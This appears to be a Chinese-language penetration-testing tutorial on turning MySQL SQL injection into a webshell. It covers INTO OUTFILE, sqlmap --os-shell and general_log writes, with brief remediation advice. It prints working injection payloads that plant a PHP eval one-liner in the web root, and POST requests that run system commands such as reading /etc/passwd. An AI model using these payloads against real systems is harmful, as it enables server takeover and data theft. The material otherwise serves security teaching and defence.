SQL 注入 GetShell
介绍
GetShell 是指通过 SQL 注入漏洞在目标服务器上写入 WebShell(网络后门),从而获取服务器控制权。
Into Outfile 方式
INTO OUTFILE
是 MySQL 提供的一个功能,允许将查询结果写入文件。如果配置不当,攻击者可利用此功能将恶意代码写入服务器的 Web 目录,从而获取 WebShell。
前提条件
攻击者需要满足以下条件才能成功利用 INTO OUTFILE
:
secure-file-priv 配置不当 MySQL 的
secure-file-priv
参数控制文件导出的路径。以下是可能的配置及其含义:#MySQL 禁止任何文件导出操作,最安全的配置 secure-file-priv=NULL 或 secure-file-priv= #允许文件导出到任意目录,极不安全,攻击者可利用 secure-file-priv="" #限制文件只能导出到指定目录(如/var/lib/mysql) secure-file-priv="/var/lib/mysql"
攻击者需要
secure-file-priv
为空字符串("")或指向可写目录。MySQL 具有 Root 权限 MySQL 用户需要有
root
权限(通常为 Root 用户),以便执行文件写入操作。可写目录的绝对路径 攻击者需要知道服务器上可写目录的绝对路径,通常为 Web 服务器的根目录(如
/var/www/html
)。Web 服务器支持 PHP 或其他脚本解析 写入的 WebShell 文件(如
.php
)需要被 Web 服务器解析执行。
利用步骤
确认 SQL 注入点 找到存在 SQL 注入的输入点(如 URL 参数、POST 表单),并确定 SQL 语句的闭合。
测试文件写入权限 使用
INTO OUTFILE
尝试写入一个简单的测试文件到可写目录(如/tmp
):# SQL注入语句,尝试写入/tmp/1.txt 1' UNION SELECT "hello", 2 INTO OUTFILE '/tmp/1.txt'# # UNION SELECT:构造联合查询 # 'hello', 2:写入的内容,hello为测试字符串 # INTO OUTFILE '/tmp/1.txt':将结果写入/tmp/1.txt
写入 PHP 测试文件 确认文件写入成功后,尝试写入一个简单的 PHP 文件到 Web 目录,验证是否可被解析:
# 写入包含phpinfo()的PHP文件到/var/www/html/666.php 1' UNION SELECT '<?php phpinfo(); ?>', 2 INTO OUTFILE '/var/www/html/666.php'# # '<?php phpinfo(); ?>':PHP代码,调用phpinfo()显示服务器信息 # INTO OUTFILE '/var/www/html/666.php':写入到 Web目录
访问
http://IP/666.php
,如果显示 PHP 信息页面,说明写入成功。写入 WebShell 写入一个功能更强大的 WebShell(如一句话木马),允许执行任意 PHP 代码:
# 写入一句话木马到/var/www/html/123.php 1' UNION SELECT '<?php eval($_POST["abc"]); ?>', 2 INTO OUTFILE '/var/www/html/123.php'# #'<?php eval($_POST["abc"]); ?>':一句话木马 #通过 POST 参数 abc 执行任意 PHP 代码 #INTO OUTFILE '/var/www/html/123.php':写入到 Web 目录
使用工具(如 HackBar 或 Burp Suite)发送 POST 请求:
POST /123.php HTTP/1.1 Host: [IP] Content-Type: application/x-www-form-urlencoded ······ abc=system("cat /etc/passwd");
如果返回
/etc/passwd
内容,说明 WebShell 执行成功。
修复方式
防御 INTO OUTFILE
攻击的措施包括:
防御 SQL 注入
- 使用参数化查询或 ORM 框架,避免直接拼接用户输入到 SQL 语句。
- 对用户输入进行严格过滤和转义(如使用
mysql_real_escape_string
或框架内置函数)。 - ······
限制 secure-file-priv 设置
my.cnf
或my.ini
中的secure-file-priv
为NULL
:[mysqld] secure-file-priv=NULL
或指定安全的目录(如
/var/lib/mysql
),并重启 MySQL 服务。站库分离 将 Web 服务器(如 Apache/Nginx)和 MySQL 数据库部署在不同服务器上。即使攻击者通过
INTO OUTFILE
写入 PHP 文件,文件也只存在于数据库服务器,无法被 Web 服务器解析。最小权限原则
确保 MySQL 用户不具备
Root
权限:REVOKE FILE ON *.* FROM 'user'@'host';
使用低权限用户运行 MySQL 服务,避免 Root 权限。
SQLMAP
使用
--os-shell
选项尝试获取系统命令行:sqlmap -u "http://192.168.126.99/login.php" --data "password=admin&username=admin" -p username --os-shell
SQLMap 的工作原理
- 步骤 1:写入上传器
SQLMAP 使用
INTO DUMPFILE
(写入 16 进制文件)或INTO OUTFILE
(写入字符串)在 Web 目录中创建一个临时的上传器文件(如tmpXXXX.php
)。该文件仅提供文件上传功能。 - 步骤 2:上传 WebShell
通过上传器上传一个功能完整的 WebShell 文件(如
tmpYYYY.php
)。 - 步骤 3:清理文件 SQLMap 在退出时自动删除临时文件,减少痕迹。
- 步骤 1:写入上传器
SQLMAP 使用
验证结果 SQLMAP 成功后,会提供一个交互式命令行,允许执行系统命令(如
id
、cat /etc/passwd
)。
日志写文件方式
MySQL 的 general_log
功能记录所有 SQL 查询语句。如果日志文件路径可控,攻击者可以将恶意代码写入日志文件,从而创建 WebShell。
前提
与 INTO OUTFILE
类似,需要满足以下条件:
- secure-file-priv 配置不当
确保
secure-file-priv
为空字符串("")或允许写入 Web 目录。 - MySQL 具有 Root 权限
需要有权限修改
general_log
设置和日志文件路径。 - Web 目录可写
日志文件需写入 Web 服务器可访问的目录(如
/var/www/html
)。 - 日志功能可控
攻击者需要能够开启
general_log
并修改日志路径。
利用步骤
以下是通过 MySQL 日志写入 WebShell 的详细步骤:
检查 secure-file-priv 配置 使用以下 SQL 语句查看
secure-file-priv
值:SHOW VARIABLES LIKE "%secure%"; #如果 secure_file_priv 为空字符串(""),则可继续利用
检查日志状态 查看是否启用
general_log
:SHOW VARIABLES LIKE "%general%"; #检查 general_log 是否为 on,general_log_file 显示当前日志路径
启用日志功能 如果日志未开启,使用以下语句启用:
SET GLOBAL general_log = "on"; #开启 general_log,记录所有SQL查询
修改日志路径 将日志文件路径设置为 Web 目录中的 PHP 文件:
SET GLOBAL general_log_file = "/var/www/html/123.php"; #将日志文件设置为 /var/www/html/123.php
写入 WebShell 执行包含恶意 PHP 代码的 SQL 查询,写入日志:
SELECT '<?php eval($_POST["abc"]); ?>'; #执行查询,恶意代码被记录到 /var/www/html/123.php
验证 WebShell 访问
http://[IP]/123.php
,并发送 POST 请求:POST /123.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded abc=system("whoami");
如果返回当前用户(如
www-data
),说明 WebShell 生效。